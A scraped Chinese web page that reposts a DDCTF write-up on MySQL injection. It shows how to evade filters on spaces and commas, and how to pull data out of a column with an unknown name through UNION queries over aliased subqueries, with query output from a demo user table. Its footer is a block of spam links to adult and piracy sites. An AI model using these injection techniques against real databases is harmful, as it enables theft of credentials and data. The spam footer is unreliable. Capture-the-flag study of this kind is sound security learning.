<span id="mktg5"></span>

<i id="mktg5"><meter id="mktg5"></meter></i>

        <label id="mktg5"><meter id="mktg5"></meter></label>
        最新文章專題視頻專題問答1問答10問答100問答1000問答2000關鍵字專題1關鍵字專題50關鍵字專題500關鍵字專題1500TAG最新視頻文章推薦1 推薦3 推薦5 推薦7 推薦9 推薦11 推薦13 推薦15 推薦17 推薦19 推薦21 推薦23 推薦25 推薦27 推薦29 推薦31 推薦33 推薦35 推薦37視頻文章20視頻文章30視頻文章40視頻文章50視頻文章60 視頻文章70視頻文章80視頻文章90視頻文章100視頻文章120視頻文章140 視頻2關鍵字專題關鍵字專題tag2tag3文章專題文章專題2文章索引1文章索引2文章索引3文章索引4文章索引5123456789101112131415文章專題3
        問答文章1 問答文章501 問答文章1001 問答文章1501 問答文章2001 問答文章2501 問答文章3001 問答文章3501 問答文章4001 問答文章4501 問答文章5001 問答文章5501 問答文章6001 問答文章6501 問答文章7001 問答文章7501 問答文章8001 問答文章8501 問答文章9001 問答文章9501
        當前位置: 首頁 - 科技 - 知識百科 - 正文

        Mysql如何繞過未知字段名詳解

        來源:懂視網 責編:小采 時間:2020-11-09 08:44:22
        文檔

        Mysql如何繞過未知字段名詳解

        Mysql如何繞過未知字段名詳解:本文主要給大家介紹了Mysql如何巧妙的繞過未知字段名的相關資料,文中給出了詳細的示例代碼供大家參考學習,對學習mysql具有一定的參考學習價值,需要的朋友們下面來一起看看吧,希望能幫助到大家。前言本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里
        推薦度:
        導讀Mysql如何繞過未知字段名詳解:本文主要給大家介紹了Mysql如何巧妙的繞過未知字段名的相關資料,文中給出了詳細的示例代碼供大家參考學習,對學習mysql具有一定的參考學習價值,需要的朋友們下面來一起看看吧,希望能幫助到大家。前言本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里

        本文主要給大家介紹了Mysql如何巧妙的繞過未知字段名的相關資料,文中給出了詳細的示例代碼供大家參考學習,對學習mysql具有一定的參考學習價值,需要的朋友們下面來一起看看吧,希望能幫助到大家。

        前言

        本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里拿本機來操作了下,思路很棒也很清晰,分享給大家,下面來看看詳細的介紹:

        實現思路

        題目過濾空格和逗號,空格使用%0a,%0b,%0c,%0d,%a0,或者直接使用括號都可以繞過,逗號使用join繞過;

        存放flag的字段名未知,information_schema.columns也將表名的hex過濾了,即獲取不到字段名;這時可以利用聯合查詢,過程如下:

        思想就是獲取flag,讓其在已知字段名下出現;

        示例代碼:

        mysql> select (select 1)a,(select 2)b,(select 3)c,(select 4)d;
        +---+---+---+---+
        | a | b | c | d |
        +---+---+---+---+
        | 1 | 2 | 3 | 4 |
        +---+---+---+---+
        1 row in set (0.00 sec)
         
        mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d;
        +---+---+---+---+
        | 1 | 2 | 3 | 4 |
        +---+---+---+---+
        | 1 | 2 | 3 | 4 |
        +---+---+---+---+
        1 row in set (0.00 sec)
         
        mysql> select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user;
        +---+-------+----------+-------------+
        | 1 | 2 | 3 | 4 |
        +---+-------+----------+-------------+
        | 1 | 2 | 3 | 4 |
        | 1 | admin | admin888 | 110@110.com |
        | 2 | test | test123 | 119@119.com |
        | 3 | cs | cs123 | 120@120.com |
        +---+-------+----------+-------------+
        4 rows in set (0.01 sec)
         
        mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e;
        +-------------+
        | 4 |
        +-------------+
        | 4 |
        | 110@110.com |
        | 119@119.com |
        | 120@120.com |
        +-------------+
        4 rows in set (0.03 sec)
         
        mysql> select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d union select * from user)e limit 1 offset 3;
         
        +-------------+
        | 4 |
        +-------------+
        | 120@120.com |
        +-------------+
        1 row in set (0.01 sec)
         
        mysql> select * from user where id=1 union select (select e.4 from (select * from (select 1)a,(select 2)b,(select 3)c,(select 4)d
        union select * from user)e limit 1 offset 3)f,(select 1)g,(select 1)h,(select 1)i;
        +-------------+----------+----------+-------------+
        | id | username | password | email |
        +-------------+----------+----------+-------------+
        | 1 | admin | admin888 | 110@110.com |
        | 120@120.com | 1 | 1 | 1 |
        +-------------+----------+----------+-------------+
        2 rows in set (0.04 sec)

        聲明:本網頁內容旨在傳播知識,若有侵權等問題請及時與本網聯系,我們將在第一時間刪除處理。TEL:177 7030 7066 E-MAIL:11247931@qq.com

        文檔

        Mysql如何繞過未知字段名詳解

        Mysql如何繞過未知字段名詳解:本文主要給大家介紹了Mysql如何巧妙的繞過未知字段名的相關資料,文中給出了詳細的示例代碼供大家參考學習,對學習mysql具有一定的參考學習價值,需要的朋友們下面來一起看看吧,希望能幫助到大家。前言本文介紹的是DDCTF第五題,繞過未知字段名的技巧,這里
        推薦度:
        • 熱門焦點

        最新推薦

        猜你喜歡

        熱門推薦

        專題
        Top
        主站蜘蛛池模板: 亚洲一区二区三区无码影院| 久久久久国产精品免费免费搜索| 免费A级毛片无码久久版| 亚洲永久在线观看| 曰曰鲁夜夜免费播放视频| 国产精品亚洲四区在线观看| 手机看黄av免费网址| 精品日韩99亚洲的在线发布| 成年女人毛片免费观看97| 亚洲人片在线观看天堂无码| 热99re久久免费视精品频软件| 亚洲熟女综合色一区二区三区 | 色哟哟国产精品免费观看| 亚洲v国产v天堂a无码久久| 九九九国产精品成人免费视频| 国产成人精品久久亚洲高清不卡 | 一边摸一边桶一边脱免费视频| 三上悠亚亚洲一区高清| 精品视频一区二区三区免费| 亚洲毛片在线观看| 久久不见久久见免费影院 | 亚洲国产美女精品久久久久| 免费99精品国产自在现线| 亚洲精品无码国产片| 亚洲AV蜜桃永久无码精品| 国产免费拔擦拔擦8X高清在线人| 亚洲一区综合在线播放| 在线观看免费成人| 黄色视屏在线免费播放| 78成人精品电影在线播放日韩精品电影一区亚洲 | 91在线亚洲精品专区| 岛国大片免费在线观看| 日本在线观看免费高清| 亚洲成人动漫在线| 成年女人毛片免费播放人 | 久久狠狠躁免费观看| 亚洲日韩国产一区二区三区在线 | 亚洲精品无码不卡在线播放| 亚洲免费日韩无码系列| www视频免费看| 亚洲阿v天堂在线2017免费|